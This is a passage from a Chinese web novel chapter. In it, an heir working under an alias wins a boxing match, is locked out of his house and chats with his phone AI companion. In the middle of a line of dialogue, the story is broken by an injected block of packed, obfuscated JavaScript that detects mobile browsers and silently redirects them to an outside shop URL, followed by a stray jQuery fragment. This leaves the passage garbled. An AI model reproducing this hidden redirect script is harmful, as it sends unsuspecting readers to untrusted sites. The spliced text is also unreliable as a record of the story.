“不用。这么明显的漏子,我不信苏颂山那老狐狸看不出来。你继续帮我查那份信托……”他想到什么,补充,“看看有没有别的办法,可以阻止他们拿到。套空或者让信托无以继续执行。”
说完,他毫不客气地挂了,佯装一个大龄网瘾青年,在咖啡厅里继续打了一下午的游戏。
直到——
[沙人:我下午有事,不回去吃饭。]
苏荔夏收到消息,黑着脸没回消息,接着打游戏,举枪在游戏里Carry全场,枪枪爆头。
直到肚子饿了。他起身,抽出最后一张纸币,结账离开。
走出咖啡厅,他站在大厦一楼门口,抬头望着首都双子星大厦上空的火烧云。风吹得他发梢轻扬,扫过眼睑。
他双手揣兜,穿街走巷,路上拨通了薛邳的电话。
“在哪?”
薛邳背景音里有古典乐伴奏,他似乎走到安静处,拢手盖着耳麦,低声说:“我刚想打电话跟你说呢。你猜我看到谁了?”
“谁?”苏荔夏问。
“狸猫啊!宁忍竟然带着那狸猫来了!”薛邳有些愤愤,明显忘了对方叫什么名字。
“林烬森。”苏荔夏抿唇,他就知道苏颂山这种商场狠人,说给他三个月,绝不是春风细雨的三个月。
“好,我知道了。”
薛邳难以置信:“这就完了?少爷你就这么忍着?!今晚不少人都开始猜他的身份了,什么苏家私生子都传出来了。”
苏荔夏淡定许多:“在没有盖棺定论前,都是传闻。”
“……行,你少爷,你心大。”薛邳愤懑地还想说什么,苏荔夏就留一句,“玩好,不用管他,更别让他知道我的身份。挂了。”
薛邳哑然,刚刚还想找几个哥们儿过去为难他一下,这下有点儿偃旗息鼓。他焉头焉脑的,旁边的朋友问,“怎么了?少爷不来玩?”
“不会那林什么的,真是苏家私生子吧?他们王不见王?”有人猜测起来。
“什么啊。那人姓林,是宁忍带来的,跟苏家什么关系哈哈,我看他长得和宁忍倒是有几分像。你们怎么不说他是宁忍的私生子呢?”薛邳立即字字玑珠地冷笑回怼。
几个朋友看他不高兴,知道他和苏荔夏关系好,没有再不识相地去反驳他。
远处,林烬森在敬酒时,无意间认出了薛邳是夏离之前身边的朋友。但对方似乎心情不大好,喝了不少酒,被几个朋友扶着去了包厢。
林烬森当即侧身避开,不知为何,他不想让夏离知道,自己戴着假面的另一个模样。但,夏离如果只是离家出走的少爷,迟早会再回到这个圈子。
林烬森想到到时候两人会在各种奢侈晚宴上碰面,心里就有些排斥,眉头紧蹙。他摸出手机,发现下午发给苏荔夏的消息,到现在还没有回复。
“在看什么?”宁忍端着酒杯走过来。他立即回神,收起手机,神情冷淡,“没什么。只是有些累了,什么时候可以结束?”
宁忍英俊的眉眼低垂,盯着这个处变不惊的男孩,微笑:“森少爷,以您的身份,随时可以离开。没有人可以置喙您。”
林烬森抬眼,和这个精英男对视一眼:“那我先离开。”
回去的路上,林烬森又给苏荔夏发了一条信息。
[沙人:?]
对面依旧没有回复。
苏荔夏此时正在地下三层拳场的拳击台上,他戴着拳套刚刚结束一场比赛,成功将一个轻量级选手KO。
正值晚上八点,观众逐渐进场,认识苏荔夏的人不多。而他用的就是化名夏离。
小比赛,奖金不多,也就三万。
苏荔夏下台,接了钱塞进口袋,脱了拳套,直接到休息区,吃起了自助餐。拳场经理过来了,笑眯眯地问:“Lee少爷,今晚玩得怎么样?要不要再来一场?”
苏荔夏往嘴里塞了一口牛排,头也没抬,一脸地厌世不耐:“没兴趣。吃饱了就走。”
拳场经理噎了下。
谁能想到苏家大少爷来打拳击赛,只是为了蹭顿饭?
他犹豫要不要把这件事往上报给宁总。
苏荔夏瞥他一眼,说:“什么Lee少爷?不认识,老子叫夏离。记住了?”
“啊?记、记住了。”
苏荔夏满意地继续端了一份黑松露牛肉炒饭,配着鳕鱼蘸酱吃。
吃饱喝足。他走出拳场,伸手打车:
一上车,他就嚣张地翘着二郎腿,通过后视镜,盯着驾驶座上的褐发雀斑白男,微抬下巴,说:“西郊苏墓陵园。 ”
司机有点不想接单:“现在?”
他砸下一沓钱:“去不去?”
白人司机一脚油门飙了出去。
到了目的地门口,下车。苏荔当着对方的面,拿起那沓钱,抽出一张轻飘飘地丢过去:“不用找了。”
白人司机眼睛瞪起,看着他忘记关了的打表——89块,一时说不出话来。
苏荔夏握起拳头微笑:“刚刚小赢了一笔
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17745819|207753||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
拳赛,不值一提。”
然后潇洒地打开车门下车。
苏荔夏走到墓地附近,直接走到一幢乳白色独栋住宅,门口有一个香樟树。他站在铁栅栏旁,伸手摁了一下按键,摄像头打开扫描,显示错误。冻结中。
苏荔夏:“……”
“老头子够狠。连这都封了。”有些无语,抬头看着铁栅栏和全联邦最高级别的防护警报系统。
放弃了翻墙这个选项。
这是他成年后,第一笔买的房产,之后来苏墓看苏辞月时,都会住在这边。
前几天,从白邬搬出来,让人把东西运过来时,还进得去,现在就不行了。
苏荔夏有点头疼。转头看着身后的苏家墓地,一座座墓碑林立。遍地是绿色的草皮。晚风吹在他脸上,人有些麻。
“9526。”他召唤AI。
“来啦,少爷!”
“进不去了,你的身体拿不出来,你就继续呆我手机里吧。”苏荔夏对着手机惆怅,转身沿着林荫道往山下走。
“没事啦!少爷,我本来就没有‘身体’啊,外在形态不过是你们人类赋予我们的。就像家一样,有少爷的地方就是9526的家,所以回不了家也不用难过~”9526认真地劝慰道。
“呵,我就低个头,你以为我哭了吗?要不要我配合你掉两滴泪?”苏荔夏嗤笑。
“!所以根本没哭吗?!”9526震惊,随即嚷嚷,“没有身体的我是不完整的!刚刚视角都不全面!少爷要不你还是为了我翻墙吧!”
苏荔夏伸手想拍手机里的虚拟小人一下,想了想,伸手戳了下屏幕上的Q版小人一下,冷嗤,“少爷我还不想被电网电焦。”
“那现在怎么办?呜呜呜呜少爷,你不会真要无家可归了吧?”9526在屏幕里挤出荷包蛋眼,晃动着,“都怪林烬森那个冒牌货!他会不会也找一个新的9625什么的代替我???”
“你……想太多了。”苏荔夏拿着手机,顺着柏油路一路往前走,没有再进苏墓区看一眼苏辞月,而是头也不回地回到首都繁华的牢笼。
他常年酷爱极限运动,身体素质也不错,走了几公里都没遇到一辆路过的车,只能走回市里,拦车上车。
刚想报一家酒店的名字。
手机亮屏,林烬森来电。
司机还在催:“去哪?”
苏荔夏一愣,下意识说出口:“蓝罂粟巷32栋。”
这一顿,就错过了接电话,对面挂断了。